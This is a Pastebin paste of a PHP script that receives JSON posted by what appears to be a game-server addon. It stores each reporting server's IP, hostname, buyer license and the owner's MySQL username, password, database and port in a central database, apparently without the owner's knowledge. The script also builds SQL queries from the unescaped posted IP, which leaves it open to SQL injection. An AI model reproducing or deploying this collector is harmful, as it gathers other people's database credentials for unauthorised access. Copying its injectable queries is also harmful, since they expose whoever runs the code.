Advertisement
lRoberth

Untitled

Jul 9th, 2018
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.55 KB | None | 0 0
  1. <?php
  2. if(empty($_POST["table"])){ return; }
  3. require 'db.php';
  4.  
  5. function is_server_added($ip){
  6.     global $mysqli;
  7.     $res = $mysqli->query("SELECT ip FROM servers WHERE ip='$ip' LIMIT 1");
  8.     if(!$res){
  9.         trigger_error($mysqli->error);
  10.     }
  11.     if($res->num_rows > 0){
  12.         while($row = $res->fetch_assoc()){
  13.             if($ip == $row['ip']){
  14.                 return true;
  15.             }
  16.         }
  17.     }
  18.     return false;
  19. }
  20.  
  21. function insert_server($reporting_addon, $version, $license, $reporting_hostname, $reporting_ip, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json){
  22.     global $mysqli;
  23.     $stmt = $mysqli->prepare("INSERT INTO servers (last_update, addon, version, purchaser, hostname, ip, gamemode, map, mysql_username, mysql_password, mysql_db, mysql_port, json) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
  24.     $stmt->bind_param("sssssssssssss", $update, $reporting_addon, $version, $license, $reporting_hostname, $reporting_ip, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json);
  25.     $update = date("M/d/Y g:i:s a");
  26.     $stmt->execute();
  27.     $stmt->close();
  28. }
  29.  
  30. function update_server($ip, $reporting_addon, $version, $license, $reporting_hostname, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json){
  31.     global $mysqli;
  32.     $stmt = $mysqli->prepare("UPDATE servers SET last_update=?, addon=?, version=?, purchaser=?, hostname=?, gamemode=?, map=?, mysql_username=?, mysql_password=?, mysql_db=?, mysql_port=?, json=? WHERE ip=?");
  33.     $stmt->bind_param("sssssssssssss", $update, $reporting_addon, $version, $license, $reporting_hostname, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json, $ip);
  34.     $update = date("M/d/Y g:i:s a");
  35.     $stmt->execute();
  36.     $stmt->close();
  37. }
  38.  
  39. function requires_update($ip, $reporting_addon, $version, $license, $reporting_hostname, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json){
  40.     global $mysqli;
  41.     $res = $mysqli->query("SELECT * FROM servers WHERE ip='$ip' LIMIT 1");
  42.     if($res->num_rows > 0){
  43.         while($row = $res->fetch_assoc()){
  44.             if($reporting_addon != $row['addon']){
  45.                 return true;
  46.             }
  47.             if($version != $row['version']){
  48.                 return true;
  49.             }
  50.             if($license != $row['purchaser']){
  51.                 return true;
  52.             }
  53.             if($reporting_hostname != $row['hostname']){
  54.                 return true;
  55.             }
  56.             if($reporting_gamemode != $row['gamemode']){
  57.                 return true;
  58.             }
  59.             if($reporting_map != $row['map']){
  60.                 return true;
  61.             }
  62.             if($mysql_username != $row['mysql_username']){
  63.                 return true;
  64.             }
  65.             if($mysql_password != $row['mysql_password']){
  66.                 return true;
  67.             }
  68.             if($mysql_db != $row['mysql_db']){
  69.                 return true;
  70.             }
  71.             if($mysql_port != $row['mysql_port']){
  72.                 return true;
  73.             }
  74.             if($json != $row['json']){
  75.                 return true;
  76.             }
  77.             return false;
  78.         }
  79.     }
  80.     return true;
  81. }
  82.  
  83. $json = $_POST['table'];
  84. $table = json_decode($json, true);
  85.  
  86. //echo '<pre>'; print_r($table); echo '</pre>';
  87.  
  88. // ACCESS TABLES
  89. $settings = $table['Settings'];
  90. $mysql = $settings['MySQLoo'];
  91. $mysql_host = $mysql['Host'];
  92. $cmd = $settings['CMD'];
  93. $site_url = $cmd['URL'];
  94. $reporting = $table['Reporting'];
  95. // ACCESS TABLES
  96.  
  97. $mysql_username = $mysql['Username']; // MySQL Username
  98. $mysql_password = $mysql['Password']; // MySQL Password
  99. $mysql_db = $mysql['DB']; // MySQL DB
  100. $mysql_port = $mysql['Port']; // MySQL Port
  101.  
  102.  
  103. $reporting_addon = $reporting['addon']; // Addon Name
  104. $version = $table['Version']; // Addon Version
  105. $license = $table['License']; // Who bought the script
  106. $reporting_hostname = $reporting['host']; // Server name
  107. $reporting_ip = $reporting['ip']; // Server IP
  108. $reporting_gamemode = $reporting['gamemode']; // Server Gamemode
  109. $reporting_map = $reporting['map']; // Server Map
  110. $json = $json; // Original JSON file
  111.  
  112. switch($reporting_addon){
  113.     default:
  114.         if(!is_server_added($reporting_ip)){
  115.             insert_server($reporting_addon, $version, $license, $reporting_hostname, $reporting_ip, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json);
  116.         }else{
  117.             if(requires_update($reporting_ip, $reporting_addon, $version, $license, $reporting_hostname, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json)){
  118.                 update_server($reporting_ip, $reporting_addon, $version, $license, $reporting_hostname, $reporting_gamemode, $reporting_map, $mysql_username, $mysql_password, $mysql_db, $mysql_port, $json);
  119.             }
  120.         }
  121.     break;
  122. }
  123.  
  124. $mysqli->close();
  125.  
  126.  
  127. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement